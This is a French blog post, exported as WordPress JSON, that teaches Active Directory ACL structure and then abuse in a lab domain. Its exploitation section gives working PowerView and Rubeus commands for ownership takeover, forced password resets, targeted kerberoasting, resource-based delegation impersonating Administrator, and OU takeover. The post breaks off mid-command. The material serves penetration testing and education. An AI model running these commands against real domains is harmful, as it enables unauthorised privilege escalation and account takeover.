{"id":121,"date":"2021-02-12T16:35:06","date_gmt":"2021-02-12T15:35:06","guid":{"rendered":"http:\/\/theredwindows.net\/?p=121"},"modified":"2021-08-05T21:28:40","modified_gmt":"2021-08-05T19:28:40","slug":"exploitation-dacl-en-active-directory","status":"publish","type":"post","link":"https:\/\/theredwindows.net\/index.php\/2021\/02\/12\/exploitation-dacl-en-active-directory\/","title":{"rendered":"Exploitation d\u2019ACL en Active Directory"},"content":{"rendered":"\n<p>Pour des raisons de s\u00e9curit\u00e9, il est souvent imp\u00e9ratif de pouvoir changer les permissions d\u2019acc\u00e8s en fonction du niveau de privil\u00e8ges th\u00e9oriques d&#8217;un utilisateur par exemple. Sur le syst\u00e8me de gestion de fichier NTFS, les ACLs permettent d\u2019effectuer ces contr\u00f4les d\u2019acc\u00e8s. En active Directory, un principe similaire est pr\u00e9sent. Nous pouvons donc nous demander ce qu\u2019il arrive si ces permissions sont mal g\u00e9r\u00e9es ?&nbsp;Pour mieux comprendre le m\u00e9canisme d\u2019acc\u00e8s nous \u00e9tudierons la structure d\u2019une ACL, les droits qu\u2019elles permettent pour enfin comprendre les abus et les utiliser au mieux.&nbsp;<\/p>\n\n\n\n<p>Les exemples qui suivront seront effectu\u00e9s sur un domaine m\u2019appartenant &#8220;testlab.local&#8221; compos\u00e9 d\u2019un contr\u00f4leur de domaine (DC01) Windows Server 2019. L\u2019utilisateur Bobby est compromis, ainsi que son mot de passe (&#8220;metallica123!&#8221;). Les d\u00e9monstrations des techniques seront op\u00e9r\u00e9es sur &#8220;Cobalt Strike&#8221;. L&#8217;antivirus sur le contr\u00f4leur de domaine est d\u00e9sactiv\u00e9.<\/p>\n\n\n\n<h3>Principe<\/h3>\n\n\n\n<p>Quasiment tous les objets dans un Active Directory poss\u00e8dent un SID (<code>Security Identifier<\/code>), cette propri\u00e9t\u00e9 permet d\u2019identifier chaque objet de mani\u00e8re unique. Lorsqu\u2019un objet veut acc\u00e9der \u00e0 un autre objet, Windows va regarder dans le <code>Security Descriptor<\/code> de l\u2019objet auquel on souhaite acc\u00e9der, si le SID du demandeur est pr\u00e9sent dans l\u2019une des diff\u00e9rentes ACL (<code>Access Control List<\/code>). Si c\u2019est le cas, alors Windows regardera dans l\u2019ACE les diff\u00e9rentes permissions accord\u00e9es au &#8220;trustee&#8221;, l\u2019objet qui demande un acc\u00e8s. Ces permissions sont stock\u00e9es dans une ACE (<code>Access Control Entry<\/code>). Il existe plusieurs types d\u2019ACE qui garantissent plusieurs types d\u2019acc\u00e8s diff\u00e9rents. Pour plus de d\u00e9tail je vous invite \u00e0 consulter <a href=\"https:\/\/theredwindows.net\/index.php\/2021\/08\/05\/modele-de-securite-windows\/\" data-type=\"URL\" data-id=\"https:\/\/theredwindows.net\/index.php\/2021\/08\/05\/modele-de-securite-windows\/\" target=\"_blank\" rel=\"noreferrer noopener\">mes articles<\/a> sur le mod\u00e8le de s\u00e9curit\u00e9 de Windows. Cependant Active Directory ajoute quelques subtilit\u00e9s que nous allons explorer.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"424\" height=\"303\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/Principe.png\" alt=\"\" class=\"wp-image-129\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/Principe.png 424w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/Principe-300x214.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/Principe-400x286.png 400w\" sizes=\"(max-width: 424px) 100vw, 424px\" \/><\/figure>\n\n\n\n<h3>ACE<\/h3>\n\n\n\n<p>La majeure partie des pr\u00e9cisions qu&#8217;il faut apporter se situe dans les ACEs. Pour rappelle, la structure d&#8217;une ACE contient un champ <code>AceType <\/code> qui d\u00e9signe comme son nom l\u2019indique le type d\u2019ACE, beaucoup plus de valeurs existent et sont disponible dans le header C++ <code>iads.h<\/code>. Les principales \u00e9tant <code>ACCESS_ALLOWED <\/code>(<code>OA<\/code>, en SDDL pour un objet), <code>ACCESS_DENIED <\/code>(<code>OD<\/code>, en SDDL pour un objet):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">typedef enum __MIDL___MIDL_itf_ads_0001_0048_0002 {\n  ADS_ACETYPE_ACCESS_ALLOWED,\n  ADS_ACETYPE_ACCESS_DENIED,\n  ADS_ACETYPE_SYSTEM_AUDIT,\n  ADS_ACETYPE_ACCESS_ALLOWED_OBJECT,\n  ADS_ACETYPE_ACCESS_DENIED_OBJECT,\n  ADS_ACETYPE_SYSTEM_AUDIT_OBJECT,\n  ADS_ACETYPE_SYSTEM_ALARM_OBJECT,\n  ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK,\n  ADS_ACETYPE_ACCESS_DENIED_CALLBACK,\n  ADS_ACETYPE_ACCESS_ALLOWED_CALLBACK_OBJECT,\n  ADS_ACETYPE_ACCESS_DENIED_CALLBACK_OBJECT,\n  ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK,\n  ADS_ACETYPE_SYSTEM_ALARM_CALLBACK,\n  ADS_ACETYPE_SYSTEM_AUDIT_CALLBACK_OBJECT,\n  ADS_ACETYPE_SYSTEM_ALARM_CALLBACK_OBJECT\n} ADS_ACETYPE_ENUM;<\/pre>\n\n\n\n<p>Aussi, le champ <code>AceFlags<\/code> contr\u00f4le l&#8217;h\u00e9ritage du droit accord\u00e9 par l\u2019ACE. On retrouve <code>CONTAINER_INHERIT_ACE<\/code> (<code>CI<\/code>) qui signifie que l\u2019acc\u00e8s est accord\u00e9 dans tous les objets enfants (que peuvent \u00eatre les dossiers et fichiers, les groupes etc), <code>INHERIT_ONLY_ACE<\/code> (<code>IO<\/code>) est dans la continuit\u00e9 du pr\u00e9c\u00e9dent puisqu\u2019il indique que l\u2019acc\u00e8s conf\u00e9r\u00e9 est le m\u00eame que celui du parent (on peut donc remonter comme ceci jusqu\u2019\u00e0 l\u2019ACE <code>CONTAINER_INHERIT_ACE<\/code>), <code>INHERITED_ACE<\/code> (<code>ID<\/code>) indique que l\u2019ACE, a \u00e9t\u00e9 h\u00e9riter; l\u2019ensemble des valeurs de ce champ se situe aussi dans <code>iads.h<\/code> pour les ACE de type objet:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">typedef enum __MIDL___MIDL_itf_ads_0001_0048_0003 {\n  ADS_ACEFLAG_INHERIT_ACE,\n  ADS_ACEFLAG_NO_PROPAGATE_INHERIT_ACE,\n  ADS_ACEFLAG_INHERIT_ONLY_ACE,\n  ADS_ACEFLAG_INHERITED_ACE,\n  ADS_ACEFLAG_VALID_INHERIT_FLAGS,\n  ADS_ACEFLAG_SUCCESSFUL_ACCESS,\n  ADS_ACEFLAG_FAILED_ACCESS\n} ADS_ACEFLAG_ENUM;<\/pre>\n\n\n\n<p>La structure d\u2019une ACE est d\u00e9finie en fonction du type d\u2019acc\u00e8s, il existe logiquement&nbsp; <code>ACESS_DENIED<\/code> et <code>ACCESS_ALLOWED<\/code> comme nous l&#8217;avons vu, cependant les structures sont sensiblement diff\u00e9rentes:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">typedef struct _ACCESS_ALLOWED_OBJECT_ACE {\n  ACE_HEADER  Header;\n  ACCESS_MASK Mask;\n  DWORD       Flags;\n  GUID        ObjectType;\n  GUID        InheritedObjectType;\n  DWORD       SidStart;\n} ACCESS_ALLOWED_OBJECT_ACE, *PACCESS_ALLOWED_OBJECT_ACE;\n\ntypedef struct _ACCESS_DENIED_OBJECT_ACE {\n  ACE_HEADER  Header;\n  ACCESS_MASK Mask;\n  DWORD       Flags;\n  GUID        ObjectType;\n  GUID        InheritedObjectType;\n  DWORD       SidStart;\n} ACCESS_DENIED_OBJECT_ACE, *PACCESS_DENIED_OBJECT_ACE;<\/pre>\n\n\n\n<p>O\u00f9 <code>ACE_HEADER<\/code> est la structure vue pr\u00e9c\u00e9demment, <code>ACCESS_MASK<\/code> est une structure permettant de d\u00e9finir le type d\u2019acc\u00e8s accord\u00e9, <code>Flags<\/code> indique si les deux valeurs qui le suivent sont pr\u00e9sentes, <code>ObjectType<\/code> est un GUID qui permet d\u2019identifier un droit particulier quand donne un droit \u00e9tendu par exemple, <code>InheritObjectType<\/code> d\u00e9fini le type d\u2019objet qui peut h\u00e9riter de cette ACE, <code>SidStart<\/code> est le Security Identifier (SID) de l\u2019objet auquel on conf\u00e8re l\u2019acc\u00e8s qui peut \u00eatre pr\u00e9sent\u00e9 en tant que &#8220;well known identifier&#8221; (i.e <code>AN<\/code>=Anonymous, <code>BA<\/code>=Builtin Administrators, <code>BU<\/code>=Builtin Users, <code>DA<\/code>=Domain Administrators &#8230;), ce dernier est d\u00e9nomm\u00e9 &#8220;trustee&#8221;. En SDDL on d\u00e9clare une ACE avec des parenth\u00e8ses et est structur\u00e9e comme ceci (<code>ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;resource_attribute<\/code>) lorsqu\u2019une information n\u2019est pas pr\u00e9cis\u00e9 il faut toujours garder les points virgules; si on souhaite ajouter plusieurs ACEs il suffit d\u2019ajouter plusieurs structures \u00e0 la suite. Voil\u00e0 deux sch\u00e9mas qui vous permettront de mieux visualiser la diff\u00e9rence entre les deux types d&#8217;ACE (g\u00e9n\u00e9rique et objet):<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" width=\"289\" height=\"144\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/ACEGenerique.png\" alt=\"\" class=\"wp-image-132\"\/><figcaption>ACE g\u00e9n\u00e9rique<\/figcaption><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" width=\"293\" height=\"217\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/ACEObject.png\" alt=\"\" class=\"wp-image-133\"\/><figcaption>ACE objet<\/figcaption><\/figure><\/div>\n\n\n\n<p>Une ACE objet peut ais\u00e9ment \u00eatre cr\u00e9\u00e9e avec PowerShell. Pour cela il faut utiliser l&#8217;espace de nom <code>System.DirectoryServices<\/code> qui contient la classe <code>ActiveDirectoryAccessRule<\/code>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># ACE qui donne GenericAll a PrincipalIdentity sur CN=Administrator,CN=Users,DC=testlab,DC=local\n$ADSI = [ADSI]\"LDAP:\/\/CN=Administrator,CN=Users,DC=testlab,DC=local\"\n$IdentityReference = New-Object System.Security.Principal.NTAccount \"PrincipalIdentity\"\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,\"GenericAll\",\"Allow\"\n\n$ACE<\/pre>\n\n\n\n<h3>Access Mask<\/h3>\n\n\n\n<p>Quelques subtilit\u00e9s viennent s&#8217;ajouter au masque d&#8217;acc\u00e8s, en particulier des nouveaux acc\u00e8s sp\u00e9cifiques sont cr\u00e9\u00e9s:<\/p>\n\n\n\n<ul><li>Les droits \u00e9tendus sont des acc\u00e8s sp\u00e9cifiques \u00e0 Active Directory, il en existe un nombre cons\u00e9quent (voir <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.microsoft.com\/fr-fr\/windows\/win32\/adschema\/extended-rights\" target=\"_blank\">https:\/\/docs.microsoft.com\/fr-fr\/windows\/win32\/adschema\/extended-rights<\/a>) et chacun est caract\u00e9ris\u00e9 par un GUID. En revanche certains sont plus int\u00e9ressant que d\u2019autres, on note par exemple <code>User-Force-Change-Password<\/code>, qui permet comme son nom l\u2019indique de changer le mot de passe d\u2019un utilisateur, <code>DS-Replication-Get-Changes<\/code> et <code>DS-Replication-Get-Changes-All<\/code> permettent, lorsqu&#8217;ils sont pr\u00e9sent ensemble, d\u2019effectuer une r\u00e9plication des hash, qui th\u00e9oriquement se fait entre contr\u00f4leurs de domaine. Enfin <code>AllExtendedRights<\/code> permet \u00e0 un objet de poss\u00e9der tous les droits \u00e9tendus sur un autre.<\/li><li>Les droits de contr\u00f4le Active Directory not\u00e9s &#8220;ADS rights&#8221; (&#8220;Active Directory Service rights&#8221;, aussi connu sous le nom de &#8220;Directory Services Access Rights&#8221;, m\u00eame si leur documentation est un peu moins fourni <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/directory-services-access-rights\" target=\"_blank\">https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/secauthz\/directory-services-access-rights<\/a>). L\u00e0 aussi il en existe un grand nombre (voir leur d\u00e9finition ci-dessous), mais on peut remarquer plusieurs droits, <code>ADS_RIGHT_GENERIC_ALL<\/code>, <code>ADS_RIGHT_GENERIC_WRITE<\/code>, <code>ADS_RIGHT_WRITE_OWNER<\/code>, <code>ADS_RIGHT_WRITE_DAC<\/code>. On remarque ici que ces droits sont essentiellement les m\u00eames que les droits g\u00e9n\u00e9riques et standards, mais ici ils sont appliqu\u00e9s \u00e0 des objets Active Directory. Ainsi il est possible comme les acc\u00e8s g\u00e9n\u00e9riques\/standards d\u2019associer certains droits Active Directory \u00e0 d\u2019autres: <code>ADS_GENERIC_READ<\/code> \u00e9quivaut \u00e0 <code>ADS_DS_LIST_CONTENTS<\/code>, <code>ADS_DS_READ_PROPERTY<\/code>, <code>ADS_DS_LIST_OBJECT<\/code>; <code>ADS_GENERIC_WRITE<\/code> sont \u00e9quivalent \u00e0 <code>ADS_DS_WRITE_PROPERTY<\/code> et ainsi de suite. Il est aussi \u00e0 noter que le sens des droits reste inchang\u00e9, en d\u2019autres termes <code>ADS_WRITE_DAC<\/code> permet d\u2019\u00e9crire la DACL etc.<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"cpp\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">typedef enum __MIDL___MIDL_itf_ads_0001_0048_0001 {\n  ADS_RIGHT_DELETE,\n  ADS_RIGHT_READ_CONTROL,\n  ADS_RIGHT_WRITE_DAC,\n  ADS_RIGHT_WRITE_OWNER,\n  ADS_RIGHT_SYNCHRONIZE,\n  ADS_RIGHT_ACCESS_SYSTEM_SECURITY,\n  ADS_RIGHT_GENERIC_READ,\n  ADS_RIGHT_GENERIC_WRITE,\n  ADS_RIGHT_GENERIC_EXECUTE,\n  ADS_RIGHT_GENERIC_ALL,\n  ADS_RIGHT_DS_CREATE_CHILD,\n  ADS_RIGHT_DS_DELETE_CHILD,\n  ADS_RIGHT_ACTRL_DS_LIST,\n  ADS_RIGHT_DS_SELF,\n  ADS_RIGHT_DS_READ_PROP,\n  ADS_RIGHT_DS_WRITE_PROP,\n  ADS_RIGHT_DS_DELETE_TREE,\n  ADS_RIGHT_DS_LIST_OBJECT,\n  ADS_RIGHT_DS_CONTROL_ACCESS\n} ADS_RIGHTS_ENUM;<\/pre>\n\n\n\n<p>Ce sont souvent les m\u00eames acc\u00e8s qui sont utilis\u00e9s, c\u2019est pourquoi l\u2019\u00e9num\u00e9ration <code>ActiveDirectoryRights<\/code> issue de l\u2019espace de nom <code>System.DirectoryServices<\/code> ne les contient pas tous. <\/p>\n\n\n\n<h3>Enum\u00e9ration<\/h3>\n\n\n\n<p>Pour pouvoir les exploiter, il faudrait d\u00e9j\u00e0 savoir les \u00e9num\u00e9rer. Comme ces permissions sont consult\u00e9es avant d\u2019acc\u00e9der \u00e0 un objet, cela signifie que th\u00e9oriquement tout le monde peut y acc\u00e9der sans encombre (sauf certaines exceptions). Nombre d\u2019outils permettent de faire cela, comme PowerView (un peu plus de d\u00e9tails sur ce dernier plus tard) avec les fonctions cmdlets <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Get-DomainObjec<\/code>tAcl<\/code> et <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Invoke-ACLScanner<\/code><\/code> voir m\u00eame <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Find-InterestingAcl<\/code><\/code>. Le tr\u00e8s connu BloodHound et son ingestor SharpHound, dont ce dernier peut exclusivement r\u00e9colter les ACLs lorsque l\u2019argument <code>-c ACL<\/code> est utilis\u00e9, mais dans le bouquet par d\u00e9faut elles sont tout de m\u00eame r\u00e9cup\u00e9r\u00e9es. Gr\u00e2ce \u00e0 Bloodhound, il est possible de cr\u00e9er et visualiser des chemins d\u2019attaques via des ACLs: les sommets du graphe repr\u00e9sentent les objets et les ar\u00eates repr\u00e9sentent les droits (qui peuvent aussi ne pas \u00eatre des ACLs). <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"469\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-1024x469.png\" alt=\"\" class=\"wp-image-144\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-1024x469.png 1024w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-300x137.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-768x352.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-400x183.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1-800x366.png 800w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound1.png 1413w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Comment ces outils fonctionnent ? Ils utilisent le fait que le <code>SecurityDescriptor<\/code> d\u2019un objet est disponible dans l\u2019annuaire LDAP de l\u2019Active Directory. Pour y acc\u00e9der on utilise une <code>DirectoryEntry<\/code> de l\u2019espace de nom C# <code>System.DirectoryServices<\/code> (qui g\u00e8re essentiellement l\u2019interfa\u00e7age entre l\u2019annuaire et la partie programmation, il utilise principalement LDAP mais ce dernier est particuli\u00e8rement utiliser par \u00e0 autre espace de nom, <code>System.DirectoryServices.Protocols<\/code> qui permet d\u2019y acc\u00e9der dans un niveau un peu plus bas, ce qui permet dans certains cas d&#8217;acc\u00e9der \u00e0 des attributs qui d\u2019ordinaire ne sont pas accessibles). Avec PowerShell:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># avec des identifiants\n$rawEntry = New-Object System.DirectoryServices.DirectoryEntry \"LDAP:\/\/\", \"UserName\", \"Password\"\n# sans identifiants on peut se permettre d'utiliser un acc\u00e9l\u00e9rateur de type\n$rawEntry = [ADSI] \"LDAP:\/\/\"\n$rawEntry.ObjectSecurity.Access<\/pre>\n\n\n\n<p>En C#:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"csharp\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ avec des identifiants\nDirectoryEntry rawEntry = new DirectoryEntry(\"LDAP:\/\/\", \"UserName\", \"Password\");\n\/\/ sans identifiants\nDirectoryEntry rawEntry = new DirectoryEntry(\"LDAP:\/\/\");\nActiveDirectorySecurity EntrySecurity = rawEntry.ObjectSecurity;\nforeach (ActiveDirectoryAccessRule accessRule in sec.GetAccessRules(true, true, typeof(NTAccount)))\n{\n\tConsole.WriteLine(accessRule.ActiveDirectoryRights.ToString());\n}<\/pre>\n\n\n\n<h3>Exploitation<\/h3>\n\n\n\n<p>Lorsque certains acc\u00e8s sont donn\u00e9s \u00e0 un utilisateur ou un groupe, ce dernier peut l\u2019utiliser pour obtenir davantage de privil\u00e8ges voir prendre totalement le contr\u00f4le d&#8217;un autre objet. L\u2019exploitation de la DACL est donc principalement effectu\u00e9e pour l\u2019\u00e9l\u00e9vation de privil\u00e8ges. Pour mener ces attaques, PowerView est enti\u00e8rement \u00e0 notre disposition. Cet outil est \u00e9norm\u00e9ment utilis\u00e9 quand il s&#8217;agit d&#8217;\u00e9num\u00e9rer ou d&#8217;exploiter un Active Directory, il a initialement \u00e9t\u00e9 publi\u00e9 avec Veil-Framework en 2014 (avec son confr\u00e8re PowerUp), et est depuis int\u00e9gr\u00e9 \u00e0 PowerSploit. La version dev du projet est bien mieux fournie et \u00e9volu\u00e9e (c\u2019est cette version qui est utilis\u00e9e ici), alors que dans beaucoup de documentation on le retrouve sous sa forme master. Depuis que PowerSploit n\u2019est plus maintenu, c\u2019est <a rel=\"noreferrer noopener\" href=\"https:\/\/twitter.com\/exploitph\" target=\"_blank\" data-type=\"URL\" data-id=\"https:\/\/twitter.com\/exploitph\">@exploitph <\/a>qui a repris le flambeau, <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\" target=\"_blank\">https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1<\/a>; il est a noter qu\u2019une version en C# du projet existe, SharpView disponible ici <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/tevora-threat\/SharpView\" target=\"_blank\">https:\/\/github.com\/tevora-threat\/SharpView<\/a> (malheureusement incompl\u00e8te). <\/p>\n\n\n\n<p>Si notre objet poss\u00e8de le droit <code>WriteOwner<\/code> on peut utiliser la cmdlet <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainObjectOwner<\/code><\/code> comme ceci:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Set-DomainObjectOwner -Identity TargetIdentity -OwnerIdentity SelfIdentity -Verbose<\/pre>\n\n\n\n<p>comme nous l\u2019avons vu pr\u00e9c\u00e9demment, l&#8217;int\u00e9r\u00eat ici est que le propri\u00e9taire d\u2019un objet poss\u00e8de implicitement <code>GenericAll<\/code> sur ce dernier. <\/p>\n\n\n\n<p>Si notre objet poss\u00e8de le droit <code>User-Force-Change-Password<\/code> on peut alors changer le mot de passe de l\u2019utilisateur que l\u2019on cible avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainUserPassword<\/code><\/code>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$newPass = ConvertTo-SecureString -AsPlainText -Force \"Passw0rd1!\"\nSet-DomainUserPassword -Identity TargetIdentity -AccountPassword $newPass -Verbose<\/pre>\n\n\n\n<p>Si notre objet poss\u00e8de des droits g\u00e9n\u00e9riques d\u2019\u00e9criture (<code>GenericWrite<\/code>) sur un:<\/p>\n\n\n\n<ul><li>Un groupe, il peut alors s\u2019y ajouter avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Add-DomainGroupMember<\/code><\/code>.<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Add-DomainGroupMember -Identity TargetGroup -MemberIdentity UserOrGroupIdentity<\/pre>\n\n\n\n<ul><li>Un utilisateur, il peut alors effectuer un kerberoasting\/asreproasting vis\u00e9 (si ces attaques vous sont inconnues, ne vous inqui\u00e9tez pas, un futur article traitant de l\u2019exploitation des mauvaises configurations de kerberos arrivera bient\u00f4t).<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#Kerberoasting\n\nSet-DomainObject -Identity TargetIdentity -SET @{serviceprincipalname='nonexistent\/BLAHBLAH'} -Verbose # Ici le nom du serviceprincipalname n\u2019a pas d'int\u00e9r\u00eat \n\nInvoke-Kerberoast -Identity TargetIdentity Get-DomainSPNTicket -Identity TargetIdentity \n\n.\\Rubeus.exe kerberoast \/user:TargetIdentity\n\n#Asreproasting \n\nSet-DomainObject -Identity TargetIdentity -XOR {useraccountcontrol=4194304} -Verbose # DONT_REQUIRE_PREAUTH \n\n.\\Rubeus.exe asreproast \/user:TargetIdentity \n\nGet-ASREPHash -UserName TargetIdentity -Domain domain.local<\/pre>\n\n\n\n<ul><li>Une machine, il peut alors effectu\u00e9 une &#8220;Ressource based Constrain Delegation&#8221; qui est une attaque sur kerberos permettant d\u2019usurper l\u2019identit\u00e9 d\u2019un utilisateur sur la machine cible:<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">New-MachineAccount -MachineAccount BadMachine -Password $(ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force) \n$ComputerSid = (Get-DomainComputer BadMachine -Properties objectsid).objectsid \n$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\" \n$SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) \nGet-DomainComputer TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} \n\n.\\Rubeus.exe hash \/password:Passw0rd1! \n.\\Rubeus.exe s4u \/user:BadMachine$ \/rc4:B2BDBE60565B677DFB133866722317FD \/impersonateuser:Administrator \/msdsspn:cifs\/TARGETCOMPUTER.testlab.local \/ptt<\/pre>\n\n\n\n<ul><li>Une GPO, il peut faire appliquer aux objets contr\u00f4l\u00e9s par cette derni\u00e8re des r\u00e8gles arbitraires (<a rel=\"noreferrer noopener\" href=\"https:\/\/theredwindows.net\/index.php\/2020\/09\/24\/utilisation-offensive-de-gpo-en-environnement-active-directory\/\" data-type=\"URL\" data-id=\"https:\/\/theredwindows.net\/index.php\/2020\/09\/24\/utilisation-offensive-de-gpo-en-environnement-active-directory\/\" target=\"_blank\">voir l\u2019article sur l\u2019abus de GPO<\/a>).<\/li><li>Une unit\u00e9 organisationnelle, ce qui peut permettre de prendre le contr\u00f4le de tous les enfants de cette derni\u00e8re.<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$Guids = Get-DomainGUIDMap \n$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name \n$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'SelfIdentity' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid \n$OU = Get-DomainOU -Raw $OU \n$DsEntry = $OU.GetDirectoryEntry() \n$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' \n$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) \n$dsEntry.PsBase.CommitChanges()<\/pre>\n\n\n\n<p>Avec <code>GenericAll<\/code>, toutes les attaques disponibles avec <code>GenericWrite<\/code> sont possibles. Cependant d\u2019autres sont permises, sur un utilisateur il est possible de changer son mot de passe, sur un domaine il est possible de faire une attaque de type DCSync.<\/p>\n\n\n\n<p>Si notre objet poss\u00e8de le droit <code>WriteDACL<\/code>, il peut ajouter une ACL sur l\u2019objet qu\u2019il contr\u00f4le, on peut donc distinguer les cas suivants:<\/p>\n\n\n\n<ul><li>Sur un Groupe\/Utilisateur\/Machine\/GPO\/unit\u00e9 organisationnelle, ajout d\u2019un acc\u00e8s g\u00e9n\u00e9rique donnant tous les pouvoirs (<code>GenericAll<\/code>).<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Add-DomainObjectAcl -TargetIdentity TargetIdentity -PrincipalIdentity SelfIdentity -Rights All 